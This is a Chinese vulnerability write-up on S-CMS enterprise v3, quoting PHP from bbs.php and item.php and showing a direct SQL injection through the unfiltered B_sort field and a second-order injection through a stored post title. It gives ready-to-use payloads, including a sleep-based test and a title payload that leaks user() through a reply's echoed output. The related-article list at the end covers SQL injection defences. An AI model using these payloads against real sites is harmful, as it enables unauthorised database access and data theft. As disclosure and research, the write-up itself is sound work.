S-CMS企建v3二次SQL注入的方法

0x01 前言

继上一篇的S-CMS漏洞再来一波!首发T00ls

0x2 目录

Sql注入二次SQL注入

0x03 Sql注入

漏洞文件:\scms\bbs\bbs.php

$action=$_GET["action"];
$S_id=$_GET["S_id"];
if($action=="add"){
$B_title=htmlspecialchars($_POST["B_title"]);
$B_sort=$_POST["B_sort"];
$B_content=htmlspecialchars($_POST["B_content"]);
$S_sh=getrs("select * from SL_bsort where S_id=".intval($B_sort),"S_sh");
if($S_sh==1){
$B_sh=0;
}else{
$B_sh=1;
}
$debug("insert into SL_bbs(B_title,B_content,B_time,B_mid,B_sort,B_sh) values('".$B_title."','".$B_content."','".date('Y-m-d H:i:s')."',".$_SESSION["M_id"].",".$B_sort.",".$B_sh.")");
mysqli_query($conn,"insert into SL_bbs(B_title,B_content,B_time,B_mid,B_sort,B_sh) values('".$B_title."','".$B_content."','".date('Y-m-d H:i:s')."',".$_SESSION["M_id"].",".$B_sort.",".$B_sh.")");
$sql="Select * from SL_bbs order by B_id desc limit 1";
$result = mysqli_query($conn, $sql);
$row = mysqli_fetch_assoc($result);
 if (mysqli_num_rows($result) > 0) {
 $B_id=$row["B_id"];
 }

相对来说这个注入比较简单,$B_sort 无过滤直接从POST获取,然而在SELECT查询的时候使用了intval函数来过滤变量。不过后面在insert的时候却没有任何过滤(无单引号包含)导致sql注入。

漏洞验证:

—Payload:

——http://127.0.0.1/scms/bbs/bbs.php?action=add

——B_title=test&B_content=test11&B_sort=1 and sleep(5)

$debug调试信息:

Insert into SL_bbs(B_title,B_content,B_time,B_mid,B_sort,B_sh) values('test','test11','2018-12-08 14:21:25',17,1 and sleep(5),0)

0x04 二次注入

漏洞文件:

\scms\bbs\bbs.php

\scms\bbs\item.php

先看一下漏洞触发点:

$sql="Select * from SL_bbs,SL_bsort,SL_member,SL_lv where B_sort=S_id and B_mid=M_id and M_lv=L_id and B_id=".$id;
 $result = mysqli_query($conn, $sql);
$row = mysqli_fetch_assoc($result);
 if (mysqli_num_rows($result) > 0) {
 $B_title=lang($row["B_title"]);
 $B_content=lang($row["B_content"]);
 $B_time=$row["B_time"];
 $B_sort=$row["B_sort"];
 $S_title=lang($row["S_title"]);
 $B_view=$row["B_view"];
 $M_login=$row["M_login"];
 $M_pic=$row["M_pic"];
 $L_title=$row["L_title"];
 }
if(substr($M_pic,0,4)!="http"){
$M_pic="../media/".$M_pic;
}
$sql2="Select count(*) as B_count from SL_bbs where B_sub=".$id;

$result2 = mysqli_query($conn, $sql2);
$row2 = mysqli_fetch_assoc($result2);
$B_count=$row2["B_count"];
if($action=="reply"){
$B_contentx=$_POST["B_content"];
$debug("insert into SL_bbs(B_title,B_content,B_time,B_mid,B_sub,B_sort) values('[回复]".$B_title."','".$B_contentx."','".date('Y-m-d H:i:s')."',".$_SESSION["M_id"].",".$id.",".$B_sort.")");
mysqli_query($conn,"insert into SL_bbs(B_title,B_content,B_time,B_mid,B_sub,B_sort) values('[回复]".$B_title."','".$B_contentx."','".date('Y-m-d H:i:s')."',".$_SESSION["M_id"].",".$id.",".$B_sort.")");
box("回复成功!","item.php?id=".$id,"success");
}

简单说一下逻辑,第一步执行的sql语句是查询帖子的详细内容($id帖子id)

$sql="Select * from SL_bbs,SL_bsort,SL_member,SL_lv where B_sort=S_id and B_mid=M_id and M_lv=L_id and B_id=".$id;

然后把查询到的内容各自赋给一个变量

 $B_title=lang($row["B_title"]);
 $B_content=lang($row["B_content"]);
 $B_time=$row["B_time"];
 $B_sort=$row["B_sort"];
..............................

到后面判断$action=="reply",进入回复帖子功能处

if($action=="reply"){
$B_contentx=$_POST["B_content"];
$debug("insert into SL_bbs(B_title,B_content,B_time,B_mid,B_sub,B_sort) values('[回复]".$B_title."','".$B_contentx."','".date('Y-m-d H:i:s')."',".$_SESSION["M_id"].",".$id.",".$B_sort.")");
mysqli_query($conn,"insert into SL_bbs(B_title,B_content,B_time,B_mid,B_sub,B_sort) values('[回复]".$B_title."','".$B_contentx."','".date('Y-m-d H:i:s')."',".$_SESSION["M_id"].",".$id.",".$B_sort.")");
box("回复成功!","item.php?id=".$id,"success");
}

可以看到$B_contentx=$_POST["B_content"]无过滤,这里会触发储存xss漏洞。然而这个不是重点,继续看执行的insert语句,发现$B_title等变量都拼接了进来,没有sql过滤,而这些变量是从数据库查询出来的(帖子的标题等),然而回过头去看上面的sql注入,不就是发帖功能的地方么。所以这些变量可控,导致二次sql注入。

漏洞触发流程:

—首先我们去发帖B_title的值是我们的payload,还有其他的值

——B_title=',(select user()),'',1,999,1)%23&B_content=aaaaaaaaaaaa&B_sort=1

—然后我们去获取帖子id,这个没有特别好的办法只能去摸索着找,可以先根据楼层判断一共有多少帖子,然后一点一点的往后找,根据内容判断是否是我们发布的帖子

——http://127.0.0.1//scms/bbs/item.php?id=帖子id

—获取到帖子后去触发漏洞

——http://127.0.0.1//scms/bbs/item.php?action=reply&id=帖子id

——B_content=test

—这里我说一下payload为什么是这样的,这样构造完全是为了达到回显注入,因为后面打印回复内容的时候执行的sql注入是

——$sql="select * from SL_bbs where B_sub=".$id." order by B_id asc";

—而B_sub可控(在Insert的时候插入的),这样我们就能直接获取回显。

漏洞演示:

—Payload1

——127.0.0.1/scms/bbs/bbs.php?action=add

——B_title=',(select user()),'',1,666,1)%23&B_content=hello_admin&B_sort=1

—Payload2

——获取帖子id

——http://127.0.0.1//scms/bbs/item.php?id=30

—Payload3

——http://127.0.0.1//scms/bbs/item.php?action=reply&id=30

——B_content=test

执行完成!最后我们就可以去访问我们的回复然后拿到回显。http://127.0.0.1//scms/bbs/item.php?id=666这次id参数指向的是我们填的B_sub值

0x05 结束语

以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持我们。

(0)

相关推荐

  • S-CMS企建v3二次SQL注入的方法

    0x01 前言 继上一篇的S-CMS漏洞再来一波!首发T00ls 0x2 目录 Sql注入二次SQL注入 0x03 Sql注入 漏洞文件:\scms\bbs\bbs.php $action=$_GET["action"]; $S_id=$_GET["S_id"]; if($action=="add"){ $B_title=htmlspecialchars($_POST["B_title"]); $B_sort=$_POST[&

  • PHP简单实现防止SQL注入的方法

    本文实例讲述了PHP简单实现防止SQL注入的方法.分享给大家供大家参考,具体如下: 方法一:execute代入参数 <?php if(count($_POST)!= 0) { $host = 'aaa'; $database = 'bbb'; $username = 'ccc'; $password = '***'; $num = 0; $pdo = new PDO("mysql:host=$host;dbname=$database", $username, $password

  • 如何有效防止sql注入的方法

    SQL注入攻击是黑客对数据库进行攻击常用的手段之一,随着B/S模式应用开发的发展,使用这种模式编写应用程序的程序员也越来越多.但是由于程序员的水平及经验参差不齐,相当大一部分程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患.用户可以提交一段数据库查询代码,根据程序返回的结果,获得某些他想获取的数据,这就是所谓的SQL Injection,即SQL注入. 一 背景 假如某高校开发了一个网课系统,要求学生选课后完成学习,数据库中有一张表course,这张表存放着每个

  • 防御SQL注入的方法总结

    SQL 注入是一类危害极大的攻击形式.虽然危害很大,但是防御却远远没有XSS那么困难. SQL 注入可以参见:https://en.wikipedia.org/wiki/SQL_injection SQL 注入漏洞存在的原因,就是拼接 SQL 参数.也就是将用于输入的查询参数,直接拼接在 SQL 语句中,导致了SQL 注入漏洞. 1. 演示下经典的SQL注入 我们看到:select id,no from user where id=2; 如果该语句是通过sql字符串拼接得到的,比如: Strin

  • ASP.NET防止SQL注入的方法示例

    本文实例讲述了ASP.NET防止SQL注入的方法.分享给大家供大家参考,具体如下: 最近接手别人一个项目,发现存在SQL注入漏洞,因为不想改太多代码,所以那种参数法防注入呢我就用不着了.只能用传统的笨一点的办法了. 1.新建Global.asax文件. 2.加入如下代码: void Application_BeginRequest(object sender, EventArgs e) { bool result = false; if (Request.RequestType.ToUpper(

  • 浅谈mybatis中的#和$的区别 以及防止sql注入的方法

    mybatis中的#和$的区别 1. #将传入的数据都当成一个字符串,会对自动传入的数据加一个双引号.如:order by #user_id#,如果传入的值是111,那么解析成sql时的值为order by "111", 如果传入的值是id,则解析成的sql为order by "id". 2. $将传入的数据直接显示生成在sql中.如:order by $user_id$,如果传入的值是111,那么解析成sql时的值为order by user_id,  如果传入的

  • JS代码防止SQL注入的方法(超简单)

    下面通过两个方面给大家介绍js代码防止sql注入的方法,非常简单实用,感兴趣的朋友参考下吧! 1.URL地址防注入: //过滤URL非法SQL字符 var sUrl=location.search.toLowerCase(); var sQuery=sUrl.substring(sUrl.indexOf("=")+1); re=/select|update|delete|truncate|join|union|exec|insert|drop|count|'|"|;|>

  • php中$_GET与$_POST过滤sql注入的方法

    本文实例讲述了php中$_GET与$_POST过滤sql注入的方法,分享给大家供大家参考.具体分析如下: 此函数只能过滤一些敏感的sql命令了,像id=1这种大家还是需要自己简单过滤了. 主要实现代码如下: 复制代码 代码如下: if (!get_magic_quotes_gpc()) { if (!empty($_GET)) { $_GET  = addslashes_deep($_GET); } if (!empty($_POST)) { $_POST = addslashes_deep($

  • java持久层框架mybatis防止sql注入的方法

    sql注入大家都不陌生,是一种常见的攻击方式,攻击者在界面的表单信息或url上输入一些奇怪的sql片段,例如"or '1'='1'"这样的语句,有可能入侵参数校验不足的应用程序.所以在我们的应用中需要做一些工作,来防备这样的攻击方式.在一些安全性很高的应用中,比如银行软件,经常使用将sql语句全部替换为存储过程这样的方式,来防止sql注入,这当然是一种很安全的方式,但我们平时开发中,可能不需要这种死板的方式. mybatis框架作为一款半自动化的持久层框架,其sql语句都要我们自己来手

  • PHP简单预防sql注入的方法

    本文实例讲述了PHP简单预防sql注入的方法.分享给大家供大家参考,具体如下: 出现sql注入一般都是因为语法不规范不严谨造成的,问题出现在sql语句上,而起决定性的是quote(').如下: $sql = "delete from table where id ='$id'" ; 正常提交的话就是删除一条数据,若id提交的是(1 ' or 1 #),那么sql语句就变成了 delete from table where id = '1'or 1 #'; 这样的话就会把整个表给删掉,造

随机推荐